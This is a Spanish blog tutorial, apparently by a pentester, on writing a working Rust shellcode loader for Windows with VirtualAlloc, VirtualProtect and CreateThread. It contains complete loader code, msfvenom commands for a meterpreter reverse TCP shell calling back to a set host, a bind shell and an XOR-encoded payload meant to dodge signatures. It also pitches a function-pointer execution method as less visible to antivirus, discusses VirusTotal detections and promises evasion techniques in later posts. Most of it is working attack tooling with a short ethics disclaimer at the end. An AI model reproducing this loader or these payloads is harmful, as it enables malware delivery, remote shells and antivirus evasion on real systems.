Inyección de Shellcode en Windows
La inyección de shellcode es una de las técnicas fundamentales en investigación de seguridad y desarrollo de malware. Esta guía te proporcionará tanto el conocimiento teórico como las habilidades prácticas necesarias para dominar esta técnica.
En este post crearemos un programa funcional en Rust que ejecuta shellcode en memoria de forma segura y controlada. Aprenderás exactamente cómo Windows maneja la memoria, cómo manipularla de forma segura y cómo ejecutar código arbitrario. Al final, no solo sabrás el “qué”, sino el “cómo” y el “por qué”.
Requisitos previos
- Conocimiento básico de Rust (no necesitas ser experto)
- Comprensión fundamental de arquitectura x64
- Entorno Windows (Windows 10/11 o máquina virtual)
- Rust y Cargo instalados (rustup.rs)
- Kali Linux con msfvenom (opcional, pero recomendado)
¿Qué es una Shellcode? Definición Técnica
Una shellcode es un fragmento compacto de código máquina, típicamente escrito en lenguaje ensamblador x86/x64, diseñado para ejecutarse como carga útil en exploits, inyecciones de código o malware.
¿Sabías que?
El término “shellcode” proviene originalmente de la intención de abrirse una shell de comandos, pero en la actualidad se usa para cualquier código inyectado que realice acciones específicas en un sistema comprometido.
Windows APIs Esenciales para Inyección de Código
Para inyectar y ejecutar shellcode en Windows, necesitamos dominar tres Windows APIs críticas que actúan en conjunto para manipular la memoria del proceso:
1. VirtualAlloc: Reservando Espacio de Memoria
VirtualAlloc es la función base para cualquier operación de inyección de código en Windows. Reserva o asigna memoria en el espacio de direcciones virtuales del proceso actual.
Firma de la función:
// windows-sys crate
pub unsafe fn VirtualAlloc(
lpaddress: *const c_void, // Dirección deseada (null = automático)
dwsize: usize, // Tamaño en bytes
flallocationtype: u32, // Tipo de asignación
flprotect: u32, // Protección inicial
) -> *mut c_void;Parámetros detallados:
- lpAddress: Dirección inicial donde asignar memoria. Normalmente
NULLpara dejar que Windows decida automáticamente - dwSize: Tamaño en bytes. Debe ser múltiplo del tamaño de página (4096 bytes en x64)
- flAllocationType: Controla cómo se asigna la memoria:
MEM_COMMIT: Asigna memoria física realMEM_RESERVE: Solo reserva rango de direcciones (sin memoria física)MEM_COMMIT | MEM_RESERVE: Combinación (recomendada) para garantizar disponibilidad inmediata
- flProtect: Protección inicial de la página:
PAGE_READWRITE: Lectura/escritura (usado para escribir shellcode)PAGE_EXECUTE_READ: Ejecución/lectura (usado después de escribir)PAGE_EXECUTE_READWRITE: Ejecución/lectura/escritura (evitar por seguridad)
Valor de retorno: Dirección de la memoria asignada o NULL si falla
¿Por qué lo vamos a usar para inyectar una shellcode?:
Cuando hablamos de inyección de shellcode, VirtualAlloc juega un papel crucial. Esta función reserva un bloque de memoria limpio donde inyectaremos nuestro payload, y lo mejor es que te permite especificar exactamente qué permisos quieres desde el inicio (inicialmente PAGE_READWRITE para poder escribir el código). Una vez que la función termina, te devuelve la dirección exacta donde escribirás tu shellcode, por lo que sabes exactamente dónde trabajar.
2. VirtualProtect: Cambiando Permisos de Ejecución
Documentación oficial: Microsoft Learn - VirtualProtect
VirtualProtect modifica los permisos de una región de memoria ya asignada. Es crucial para convertir memoria de lectura/escritura en memoria ejecutable.
Firma de la función:
// windows-sys crate
pub unsafe fn VirtualProtect(
lpaddress: *const c_void, // Dirección de memoria
dwsize: usize, // Tamaño
flnewprotect: u32, // Nuevos permisos
lpfloldprotect: *mut u32, // Parámetro de retorno
) -> i32; // BOOL (0 = false, != 0 = true)Parámetros detallados:
- lpAddress: Dirección de inicio de la región a cambiar
- dwSize: Número de bytes a cambiar
- flNewProtect: Nuevos permisos (típicamente
PAGE_EXECUTE_READ) - lpflOldProtect: Puntero a variable
DWORDque recibe los permisos anteriores (importante para restaurar)
Valor de retorno: TRUE si tiene éxito, FALSE si falla
3. CreateThread: Ejecutando el Código Inyectado
Documentación oficial: Microsoft Learn - CreateThread
CreateThread crea un nuevo hilo dentro del proceso actual que comienza a ejecutar en una dirección de memoria especificada.
Firma de la función:
// windows-sys crate
pub unsafe fn CreateThread(
lpthreadattributes: *const SECURITY_ATTRIBUTES, // null normalmente
dwstacksize: usize, // 0 = tamaño por defecto
lpstartaddress: LPTHREAD_START_ROUTINE, // Dirección a ejecutar
lpparameter: *const c_void, // Parámetro para función
dwcreationflags: u32, // 0 = ejecutar inmediatamente
lpthreadid: *mut u32, // ID del hilo (null válido)
) -> HANDLE;Ventajas de usar CreateThread:
- Aísla la ejecución en un hilo separado
- No interrumpe el flujo del programa principal
- Permite esperar a que termine la ejecución con
WaitForSingleObject - Más visible en monitoreo (algunos AVs detectan esto)
Alternativa: Puntero de función (menos detectable)
let shellcode_fn: fn() = std::mem::transmute(shellcode_addr);
shellcode_fn();El flujo completo: cómo trabajan juntas las tres APIs
Ahora que hemos entendido cada API individualmente, es importante ver cómo trabajan en conjunto. La forma en que estas tres APIs se coordinan es elegante y sencilla.
Primero, utilizamos VirtualAlloc para reservar un bloque de memoria limpio en el espacio de direcciones del proceso, estableciendo permisos iniciales de PAGE_READWRITE para poder escribir el código. Una vez que hemos copiado el shellcode en esa ubicación, llamamos a VirtualProtect para cambiar esos permisos a PAGE_EXECUTE_READ, permitiendo que la CPU pueda leer y ejecutar el código sin poder modificarlo. Finalmente, utilizamos CreateThread para crear un nuevo hilo que comience a ejecutar desde la dirección donde colocamos nuestro shellcode.
Generando tu Primera Shellcode con Msfvenom
Ahora que entiendes cómo funcionan las APIs de Windows y cómo trabajan juntas para ejecutar código, es momento de crear el payload que inyectaremos. Aquí es donde entra en juego msfvenom, una herramienta poderosa que genera automáticamente el shellcode que necesitamos.
En lugar de escribir manualmente código en ensamblador (lo cual veremos en próximos posts), msfvenom genera el código máquina compilado listo para inyectar. Esta herramienta es estándar en el ámbito de la seguridad ofensiva y te permite crear payloads personalizados en cuestión de segundos.
Requisitos
- Kali Linux o cualquier distribución con Metasploit Framework instalado
- msfvenom (incluido por defecto en Kali)
Generando shellcode x64 para ejecutar calc.exe
La siguiente línea genera un payload que ejecuta la calculadora de Windows:
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe -f rustDesglose de parámetros:
-platform windows: Especifica que es para Windows-arch x64: Arquitectura de 64 bits (x86-64)p windows/x64/exec: Payload que ejecuta comandosCMD=calc.exe: El comando a ejecutarf rust: Formato de salida rust (array de bytes)
Salida esperada
El comando generará algo como:

Este es un array de bytes que contiene el código máquina que ejecutará nuestro comando.
Comandos alternativos útiles
La belleza de msfvenom es su flexibilidad. Aunque hemos visto cómo generar un payload simple que ejecuta calc.exe, la herramienta puede crear mucho más. Aquí te mostramos algunos comandos útiles para diferentes escenarios comunes en pentest e investigación de seguridad.
Reverse shell TCP:
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f rustBind shell (escucha en puerto):
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/bind_tcp \
LPORT=4444 -f rustPayload con codificación (evitar firmas):
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe \
-e x64/xor -f rust -i 3Implementación práctica: Manos a la obra
Ya hemos cubierto toda la teoría: entiendes cómo funcionan las APIs de Windows, cómo se coordinan entre sí, y cómo generar payloads con msfvenom. Ahora es momento de poner todo esto en práctica y crear un programa funcional.
Comenzaremos con el primer paso fundamental: reservar memoria limpia donde inyectaremos nuestro shellcode usando VirtualAlloc.
Reservando memoria
Empecemos con lo más simple: calcular cuánto espacio necesitamos y decirle a Windows que nos reserve un bloque de memoria limpio. Para esto usamos VirtualAlloc, que es exactamente lo que necesitamos en este momento.
let shellcode_size = buf.len();
let shellcode_addr = unsafe {
VirtualAlloc(
null(), // Windows elige la dirección
shellcode_size, // Número de bytes a reservar
MEM_COMMIT | MEM_RESERVE, // Ambas flags combinadas
PAGE_READWRITE, // Permisos iniciales
)
};
if shellcode_addr.is_null() {
eprintln!("Error: VirtualAlloc falló ({})", unsafe { GetLastError() });
return;
}Puntos clave:
buf.len()obtiene automáticamente el tamaño exacto del slice en bytesMEM_COMMIT | MEM_RESERVEgarantiza disponibilidad inmediataPAGE_READWRITEpermite escribir el shellcode inicialmente- Siempre verificar que
VirtualAllocdevuelva una dirección válida
Cambiando Permisos de Memoria con VirtualProtect
Ya tenemos el shellcode en memoria, pero todavía no puede ejecutarse. Windows protege la memoria por defecto, así que necesitamos cambiar los permisos para que la CPU pueda realmente ejecutar el código. Para esto usamos VirtualProtect.
Copiando y protegiendo
// Copiar shellcode a memoria
unsafe {
std::ptr::copy_nonoverlapping(buf.as_ptr(), shellcode_addr as *mut u8, shellcode_size);
}
// Cambiar permisos a ejecutable
let mut old_protect: u32 = 0;
let result = unsafe {
VirtualProtect(
shellcode_addr, // Dirección a cambiar
shellcode_size, // Tamaño
PAGE_EXECUTE_READ, // Nuevos permisos
&mut old_protect, // Guardar permisos anteriores
)
};
if result == 0 {
eprintln!("Error: VirtualProtect falló ({})", unsafe { GetLastError() });
unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
return;
}Proceso paso a paso:
copy_nonoverlappingcopia bytes del slice al heapVirtualProtectcambia permisos a PAGE_EXECUTE_READ- Ahora la CPU puede ejecutar el código
Ejecutando la Shellcode con CreateThread
Llegamos al momento de la verdad: ahora vamos a ejecutar realmente el shellcode. La forma más común y segura de hacerlo es crear un nuevo hilo dentro de nuestro proceso que comience a ejecutarse en la dirección donde colocamos el código. Para esto usamos CreateThread.
Método 1: Usando CreateThread
let h_thread = unsafe {
CreateThread(
null(), // Atributos por defecto
0, // Stack size por defecto
Some(std::mem::transmute(shellcode_addr)), // Dirección del shellcode
null(), // Sin parámetros
0, // Ejecutar inmediatamente
null_mut(), // Sin ID
)
};
if !h_thread.is_null() {
unsafe {
WaitForSingleObject(h_thread, INFINITE);
CloseHandle(h_thread);
}
} else {
eprintln!("Error: CreateThread falló ({})", unsafe { GetLastError() });
unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
return;
}Ventajas:
- ✅ Aísla la ejecución en un hilo separado
- ✅ Más seguro (no bloquea el thread principal)
- ❌ Más visible para EDR/AV
Método Alternativo: Puntero de Función (Menos Detectable)
Una técnica alternativa más sencilla es usar un puntero de función. Este método es menos visible para antivirus que monitorean CreateThread.
Usando puntero de función
// Type alias para mayor legibilidad
type ShellcodeFunc = fn();
let p_shellcode: ShellcodeFunc = unsafe { std::mem::transmute(shellcode_addr) };
p_shellcode(); // EjecutarVentajas y desventajas:
Función de puntero:
- ✅ Menos visible para monitoreo estándar
- ✅ Código más compacto
- ❌ Bloquea el thread principal
- ❌ Si el shellcode no retorna, el programa cuelga
Código Completo y Demostración
Versión completa funcional
use std::io::{self, Read};
use std::ptr::{null, null_mut};
use windows_sys::Win32::Foundation::{CloseHandle, GetLastError};
use windows_sys::Win32::System::Memory::{
VirtualAlloc, VirtualFree, VirtualProtect,
MEM_COMMIT, MEM_RELEASE, MEM_RESERVE,
PAGE_EXECUTE_READ, PAGE_READWRITE,
};
use windows_sys::Win32::System::Threading::{
CreateThread, WaitForSingleObject, INFINITE,
};
fn main() {
let buf: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52,
// [... aquí tu shellcode ]
];
let shellcode_size = buf.len();
println!("[*] Tamaño: {} bytes\n", shellcode_size);
// PASO 1: Reservar memoria
let shellcode_addr = unsafe {
VirtualAlloc(
null(),
shellcode_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
};
if shellcode_addr.is_null() {
println!("[!] VirtualAlloc falló");
return;
}
println!("[+] Memoria en: {:?}", shellcode_addr);
wait_for_enter();
// PASO 2: Copiar shellcode
unsafe {
std::ptr::copy_nonoverlapping(buf.as_ptr(), shellcode_addr as *mut u8, shellcode_size);
}
println!("[+] Shellcode copiado");
wait_for_enter();
// PASO 3: Cambiar permisos
let mut old_protect: u32 = 0;
let result = unsafe {
VirtualProtect(shellcode_addr, shellcode_size, PAGE_EXECUTE_READ, &mut old_protect)
};
if result == 0 {
println!("[!] VirtualProtect falló");
unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
return;
}
println!("[+] Permisos cambiados");
wait_for_enter();
// PASO 4: Ejecutar
let h_thread = unsafe {
CreateThread(
null(),
0,
Some(std::mem::transmute(shellcode_addr)),
null(),
0,
null_mut(),
)
};
wait_for_enter();
if !h_thread.is_null() {
unsafe {
WaitForSingleObject(h_thread, INFINITE);
CloseHandle(h_thread);
}
} else {
println!("Error: CreateThread falló ({})", unsafe { GetLastError() });
unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
}
}
fn wait_for_enter() {
let _ = io::stdin().read(&mut [0u8]).unwrap();
}Compilación y ejecución
Cargo.toml:
[package]
name = "shellcode"
version = "0.1.0"
edition = "2021"
[dependencies]
windows-sys = { version = "0.59", features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Threading",
"Win32_Security"
] }Compilar:
cargo build --releaseDemo:

Subiendo a VirusTotal: Entendiendo las Detecciones
Ahora que tenemos nuestro binario compilado, es momento de hacer una prueba importante: subir el ejecutable a VirusTotal para ver cómo los antivirus lo detectan.
¿Por qué se detecta?
Es completamente normal que nuestro shellcode injector sea detectado por múltiples antivirus. Esto ocurre porque:
- No tiene ofuscación: El código es directo y fácil de analizar
- Usa APIs detectables: VirtualAlloc, VirtualProtect y CreateThread son patrones comunes en malware
- Sin encriptación: El shellcode está en texto plano
- Sin anti-análisis: No tenemos protecciones contra debuggers o análisis dinámicos
Resultado esperado en VirusTotal
Al subir el binario a VirusTotal, verás algo como esto:

Multiples motores de análisis lo detectarán como potencial shellcode injector o malware genérico. Esto es esperado y demuestra que nuestro código funciona, pero también que necesita protecciones.
En proximos posts veremos como proteger y modificar nuestro binario para que sea mas dificil de detectar.
Lo que hemos aprendido
En este tutorial completo sobre inyección de shellcode, hemos cubierto:
- Fundamentos teóricos: Qué es shellcode y por qué es importante
- Windows APIs críticas: VirtualAlloc, VirtualProtect y CreateThread
- Generación de payloads: Cómo usar msfvenom para crear shellcode
- Implementación práctica: Código funcional en Rust paso por paso
- Métodos de ejecución: CreateThread vs puntero de función
Reflexión sobre lo aprendido
A lo largo de este viaje, hemos descubierto que la inyección de shellcode no es magia, sino un proceso lógico y bien definido. Hemos visto cómo tres APIs simples de Windows pueden coordinarse para realizar tareas poderosas, utilizando Rust como lenguaje.
Lo más importante es que ahora entiendes no solo el “qué” (cómo inyectar shellcode), sino el “por qué” detrás de cada paso.
Recuerda que este conocimiento conlleva responsabilidad: úsalo siempre en contextos autorizados y de forma ética.
Sobre el autor
Pentester specializing in penetration testing, vulnerability identification, and securing systems against advanced threats.

